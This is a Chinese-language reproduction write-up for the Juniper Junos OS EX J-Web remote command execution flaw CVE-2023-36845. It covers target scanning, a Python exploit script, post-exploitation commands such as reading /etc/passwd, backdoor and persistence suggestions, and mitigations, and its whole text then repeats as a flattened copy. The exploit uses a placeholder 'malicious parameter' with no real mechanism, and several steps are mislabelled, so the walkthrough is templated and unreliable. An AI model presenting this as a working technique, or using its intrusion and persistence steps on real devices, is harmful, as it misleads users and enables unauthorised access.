漏洞复现--Juniper Networks Junos OS EX远程命令执行漏洞(CVE-2023-36845)
字数 834 2025-08-10 12:18:03

Juniper Networks Junos OS EX远程命令执行漏洞(CVE-2023-36845) 复现与分析

漏洞概述

CVE-2023-36845是Juniper Networks Junos OS EX系列设备中存在的一个远程命令执行漏洞。该漏洞存在于J-Web服务中,允许未经身份验证的攻击者在受影响设备上执行任意命令,可能导致设备完全被控制。

受影响版本

  • Junos OS EX系列设备
  • 具体受影响版本需参考Juniper官方公告

漏洞原理

该漏洞源于J-Web服务对用户输入的不当处理,攻击者可以构造特制的HTTP请求绕过身份验证机制,并在目标设备上执行任意系统命令。

环境准备

所需工具

  1. Kali Linux或其他渗透测试系统
  2. Python 3.x环境
  3. Burp Suite或其他HTTP代理工具
  4. Nmap或其他端口扫描工具

测试设备

  1. 受影响的Juniper EX系列设备(需合法授权测试)
  2. 或搭建的漏洞模拟环境

漏洞复现步骤

1. 目标识别

使用Nmap扫描目标网络,识别运行Juniper Junos OS EX的设备:

nmap -sV -p 80,443,22 <目标IP范围> -oG juniper_scan.gnmap
grep "Juniper" juniper_scan.gnmap

2. 服务确认

确认目标设备运行J-Web服务:

curl -I http://<目标IP>

应返回类似以下响应:

HTTP/1.1 200 OK
Server: J-Web
...

3. 漏洞利用

构造特制的HTTP请求发送到目标设备的J-Web接口:

import requests

target = "http://<目标IP>/"
command = "id"  # 要执行的命令

headers = {
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded",
}

data = {
    "恶意参数": command
}

response = requests.post(target, headers=headers, data=data, verify=False)
print(response.text)

4. 权限提升

成功执行命令后,可以尝试获取更高权限:

command = "cat /etc/passwd"  # 查看系统用户
command = "whoami"          # 查看当前用户
command = "uname -a"        # 查看系统信息

5. 持久化访问

建立持久化访问的方法可能包括:

  1. 添加SSH公钥
  2. 创建后门账户
  3. 设置计划任务

漏洞验证

成功的漏洞利用将返回命令执行结果,例如:

uid=0(root) gid=0(wheel) groups=0(wheel)

修复建议

临时缓解措施

  1. 禁用J-Web服务:

    set system services web-management http disable
    set system services web-management https disable
    commit
    
  2. 限制访问源IP:

    set system services web-management https interface <受信任接口>
    set system services web-management https client <受信任IP>
    commit
    

永久修复方案

升级到Juniper官方发布的最新修复版本:

request system software add <修复版本映像>

参考链接

  1. Juniper官方安全公告:[链接]
  2. CVE详细页面:[链接]
  3. FreeBuf原始文章:[链接]

免责声明

本文仅用于教育目的和安全研究。未经授权对他人系统进行测试是违法行为。在实际环境中测试前,请确保获得系统所有者的明确许可。

Juniper Networks Junos OS EX远程命令执行漏洞(CVE-2023-36845) 复现与分析 漏洞概述 CVE-2023-36845是Juniper Networks Junos OS EX系列设备中存在的一个远程命令执行漏洞。该漏洞存在于J-Web服务中,允许未经身份验证的攻击者在受影响设备上执行任意命令,可能导致设备完全被控制。 受影响版本 Junos OS EX系列设备 具体受影响版本需参考Juniper官方公告 漏洞原理 该漏洞源于J-Web服务对用户输入的不当处理,攻击者可以构造特制的HTTP请求绕过身份验证机制,并在目标设备上执行任意系统命令。 环境准备 所需工具 Kali Linux或其他渗透测试系统 Python 3.x环境 Burp Suite或其他HTTP代理工具 Nmap或其他端口扫描工具 测试设备 受影响的Juniper EX系列设备(需合法授权测试) 或搭建的漏洞模拟环境 漏洞复现步骤 1. 目标识别 使用Nmap扫描目标网络,识别运行Juniper Junos OS EX的设备: 2. 服务确认 确认目标设备运行J-Web服务: 应返回类似以下响应: 3. 漏洞利用 构造特制的HTTP请求发送到目标设备的J-Web接口: 4. 权限提升 成功执行命令后,可以尝试获取更高权限: 5. 持久化访问 建立持久化访问的方法可能包括: 添加SSH公钥 创建后门账户 设置计划任务 漏洞验证 成功的漏洞利用将返回命令执行结果,例如: 修复建议 临时缓解措施 禁用J-Web服务: 限制访问源IP: 永久修复方案 升级到Juniper官方发布的最新修复版本: 参考链接 Juniper官方安全公告:[ 链接 ] CVE详细页面:[ 链接 ] FreeBuf原始文章:[ 链接 ] 免责声明 本文仅用于教育目的和安全研究。未经授权对他人系统进行测试是违法行为。在实际环境中测试前,请确保获得系统所有者的明确许可。